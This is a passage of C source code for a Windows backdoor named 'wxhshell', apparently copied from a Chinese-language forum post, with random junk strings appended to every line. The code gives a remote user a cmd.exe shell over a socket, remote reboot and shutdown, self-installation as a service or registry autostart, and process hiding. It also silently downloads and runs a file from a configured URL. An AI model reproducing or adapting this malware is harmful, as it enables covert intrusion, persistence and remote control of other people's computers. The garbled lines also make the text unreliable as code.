zg0%>iqO  
    switch(cmd[0]) { (+$ol'i  
  1HXlHic  
  // 帮助 xc *!W*04  
  case '?': { )6C`&Mj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JB'qiuhab  
    break; 9C1b^^Kb  
  } (l;C%O7*  
  // 安装 iiehrK&T !  
  case 'i': { zK /f$}  
    if(Install()) 6#?NL ]A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :D^Y?  
    else -}AE\qXs/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }RDb1~6C  
    break; /9TL&_A-T  
    } ,?#*eJD  
  // 卸载 \ j x0ZHR  
  case 'r': { yj]ML:n  
    if(Uninstall()) D;J|eC>^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); afV P-m4L  
    else cC' ^T6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^h"n03VFA  
    break; 1uY3[Z9S  
    } [ArO$X3\  
  // 显示 wxhshell 所在路径 A@\qoS[  
  case 'p': { VEr 6uvB  
    char svExeFile[MAX_PATH]; qU}lGf!dVn  
    strcpy(svExeFile,"\n\r"); #Ul4&QVeg  
      strcat(svExeFile,ExeFile); T:dX4=z  
        send(wsh,svExeFile,strlen(svExeFile),0); &l?N:(r  
    break; 6S2r  
    } 3a/[."W u  
  // 重启 $]Rl__;  
  case 'b': { k>$FT `  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s&Z35IM8|  
    if(Boot(REBOOT)) x$*E\/zi<!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nq),VPJi  
    else { zuU Q."#i  
    closesocket(wsh); CL EpB2_  
    ExitThread(0); .Kg|f~InO  
    } mQmBf|Rl  
    break; 3"f)*w7d  
    } Z={D0`  
  // 关机 uT'-B7N  
  case 'd': { r94j+$7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :h^O{"au^  
    if(Boot(SHUTDOWN)) d'x<- l9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JTSq{NN  
    else { d3\OHkM0^  
    closesocket(wsh); (ra:?B  
    ExitThread(0); cZCGnzy  
    } v; je<DT  
    break; $'WapxF  
    } E \ K  
  // 获取shell =# k<Kw#  
  case 's': { i5ajM,i/K  
    CmdShell(wsh); ; ,Of\Efc|  
    closesocket(wsh); KyuA5jQ7  
    ExitThread(0); ?7fQ1/emhO  
    break; vgUhN_rK  
  } [] GthF  
  // 退出 N1D6D$s0  
  case 'x': { [Ihp\!xqI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <^H1)=tlF  
    CloseIt(wsh); o(B<!ji~'  
    break; m1~qaD<DZ$  
    } owfp^hla  
  // 离开 yYxeNE"  
  case 'q': { Z;|0"K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Verbmeg&n  
    closesocket(wsh); GInZ53cQ  
    WSACleanup(); W\ 1bE(AwZ  
    exit(1); Pg!;o= { M  
    break;  ~ LJ>WA  
        } wGov|[X  
  } >!HfH(is\  
  } \Owful  
i6!T`Kau  
  // 提示信息 8o8b'tW^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0?J|C6XM#4  
} 3/A!_Uc(  
  } = )JVT$]w  
|.Y@^z;P3  
  return; Y|GJp h  
} Mp^OL7p^^  
J1gEjd   
// shell模块句柄 cuV8#: i  
int CmdShell(SOCKET sock) SIaUrC  
{ LK   
STARTUPINFO si;  c{f:5 p  
ZeroMemory(&si,sizeof(si)); Vid{6?7kh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h a,=LV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6)uPM"cO  
PROCESS_INFORMATION ProcessInfo; %h/#^esi  
char cmdline[]="cmd"; z^a6%N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \GbHS*\+  
  return 0; tn:/pPap  
} ^.Ih,@N6  
$ +GFOO  
// 自身启动模式 m p|20`go  
int StartFromService(void) P*0nT  
{ M<#)D  
typedef struct -A-hxK*^  
{ &0th1-OP_  
  DWORD ExitStatus; Dh!iY0Lz  
  DWORD PebBaseAddress; d0H  
  DWORD AffinityMask; \CJx=[3(  
  DWORD BasePriority; /]MB6E7&  
  ULONG UniqueProcessId; #^4>U&?  
  ULONG InheritedFromUniqueProcessId; !CVBG *E^l  
}   PROCESS_BASIC_INFORMATION; >^a"Z[s[  
9znx1AsN  
PROCNTQSIP NtQueryInformationProcess; .5KC'?  
qj3bt_F!x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O yH!V&w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }!Diai*C  
QNa}M{5>h  
  HANDLE             hProcess; |peMr#  
  PROCESS_BASIC_INFORMATION pbi; &JXHDpd$a^  
S$lmEJ_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \yX !P1  
  if(NULL == hInst ) return 0; _r?;lnWx@  
C)KtM YA,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +/b4@B7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O"J.k&C<,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [b k&Nd[  
&x0TnW"g  
  if (!NtQueryInformationProcess) return 0; Gs=a(0 0i?  
Hdq/E>u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vN%j-'D\A4  
  if(!hProcess) return 0; d*\C^:Z  
Nh\8+v*+{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #Z=)=  
:oj) eS[Y  
  CloseHandle(hProcess); wx"6",M  
ndCS<ojcBP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  oRbYna?J  
if(hProcess==NULL) return 0; l-^XW?CfL  
)[M<72  
HMODULE hMod; g7U:A0Z  
char procName[255]; 18/@:u{  
unsigned long cbNeeded; J2 rLsNC]0  
n8OdRv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6 pn@`UK  
R.YGmT'2  
  CloseHandle(hProcess); :D+ SY  
CMG`'gT  
if(strstr(procName,"services")) return 1; // 以服务启动 F+$@3[Q`N  
8}#Lo9:,d  
  return 0; // 注册表启动 |p4OlUq  
} _}D?+x,C8  
qCkg\)Ks5I  
// 主模块 zT-"kK  
int StartWxhshell(LPSTR lpCmdLine) =]xk-MY"|R  
{ hic$13KuP  
  SOCKET wsl; XK/@!ud"`  
BOOL val=TRUE; g~H? l3v  
  int port=0; 'sQO0611S  
  struct sockaddr_in door; [<fLPa  
/ bu<,o  
  if(wscfg.ws_autoins) Install(); OK J%M]<  
@?=)}2=|?i  
port=atoi(lpCmdLine); #DRt Mrfat  
_]ttKT(  
if(port<=0) port=wscfg.ws_port; ?jm2|:  
I64:-P[\  
  WSADATA data; nJ#@W b@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4$2T zJE  
H.[&gm}p>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2_\|>g|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _w/N[E  
  door.sin_family = AF_INET; x,c68Q)g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RF2XJJ  
  door.sin_port = htons(port); }3_G|  
_po 4(U&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e CUcE(  
closesocket(wsl); y8S6ZtA}2  
return 1; i@^`~vj  
} *K.7Zf0  
nJ})6/gK  
  if(listen(wsl,2) == INVALID_SOCKET) { (g:W|hS  
closesocket(wsl); QGj5\{E_  
return 1; . mrRv8>$  
} 4H? Ma|,  
  Wxhshell(wsl); OYp8r  
  WSACleanup(); J+gsmP-_  
i4r~eneP  
return 0; W1`ZS*12D  
q;Pz B4#  
} 2^M+s\p  
(4{9 QO  
// 以NT服务方式启动 WA5kX SdIb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y1+lk^  
{ CHw_?#h  
DWORD   status = 0; H=RV M  
  DWORD   specificError = 0xfffffff; h5keYBA  
OBSJbDqT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '="){  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V=MZOj6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )II,HT-LY  
  serviceStatus.dwWin32ExitCode     = 0; k $&A  
  serviceStatus.dwServiceSpecificExitCode = 0; B8Zd#.6]  
  serviceStatus.dwCheckPoint       = 0; :P"Gym  
  serviceStatus.dwWaitHint       = 0; EC#10.  
Bcon4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mXaUWgO  
  if (hServiceStatusHandle==0) return; <!>}t a  
8E%*o  
status = GetLastError(); (Fd4Gw<sq  
  if (status!=NO_ERROR) 0^Cx`xdX:  
{ NmF2E+'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :+!b8[?Z  
    serviceStatus.dwCheckPoint       = 0; UQPE)G  
    serviceStatus.dwWaitHint       = 0; )d`$2D&iY  
    serviceStatus.dwWin32ExitCode     = status; k>hZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; <);u]0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rP4@K%F9jB  
    return; hDMp^^$  
  } 9Wrcl ai  
;gV8f{X{Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; { rn~D5R  
  serviceStatus.dwCheckPoint       = 0; vy?YA-  
  serviceStatus.dwWaitHint       = 0; 0O4mA&&!oK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^dD?riFAk  
} ev >9P  
Y%@'a~  
// 处理NT服务事件,比如:启动、停止 Bx >@HU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pBkPn+@  
{ /WVMT]T6^,  
switch(fdwControl) )&-E@% \  
{ IPR396J+-  
case SERVICE_CONTROL_STOP: heA\6W:u&  
  serviceStatus.dwWin32ExitCode = 0; j(JI$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xRN$cZC  
  serviceStatus.dwCheckPoint   = 0; 2fB@zF  
  serviceStatus.dwWaitHint     = 0; _P1-d`b0 a  
  { Z5A<TC/:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z9I./s9  
  } k<H&4Z)d9  
  return; Y;>'~V#R  
case SERVICE_CONTROL_PAUSE: K? k`U,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bmpB$@  
  break; c3dZ1v  
case SERVICE_CONTROL_CONTINUE: lUd,-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S:s^si2/  
  break; g*M3;G  
case SERVICE_CONTROL_INTERROGATE: w2L)f,X  
  break; zu%pr95U  
}; C@i g3fhV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pp jrm  
} VuW19-G  
`( Gk_VAa  
// 标准应用程序主函数 {r)M@@[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sx\7Z#|  
{ )j'b7)W\  
C7PiuL?  
// 获取操作系统版本 /([aD~.  
OsIsNt=GetOsVer(); ,e,{6Sg6gl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f9$q.a*  
Tw5BvB1  
  // 从命令行安装 { L5m`-x  
  if(strpbrk(lpCmdLine,"iI")) Install(); [tN/}_]  
x!+ a,+G  
  // 下载执行文件 edQ><lz  
if(wscfg.ws_downexe) { VbYapPu4b!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jo@9f(hq  
  WinExec(wscfg.ws_filenam,SW_HIDE); p pq#5t^[)  
} y (A"g3^=  
+#no$m.bH  
if(!OsIsNt) { `U R.Rn/x  
// 如果时win9x,隐藏进程并且设置为注册表启动 )UJMmw\  
HideProc(); RZZB?vx  
StartWxhshell(lpCmdLine); DI\sq8J^  
} ~nQb;Bdh%  
else 'Vd>"ti  
  if(StartFromService()) ,J~dER\%  
  // 以服务方式启动 o&zV8DE_v  
  StartServiceCtrlDispatcher(DispatchTable); YAo g;QL  
else uRIr,U^  
  // 普通方式启动 ]2jnY&a5  
  StartWxhshell(lpCmdLine); w'!gLta  
D<`X B*  
return 0; >Vvc55z  
}
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只看该作者 1 发表于: 2006-10-10
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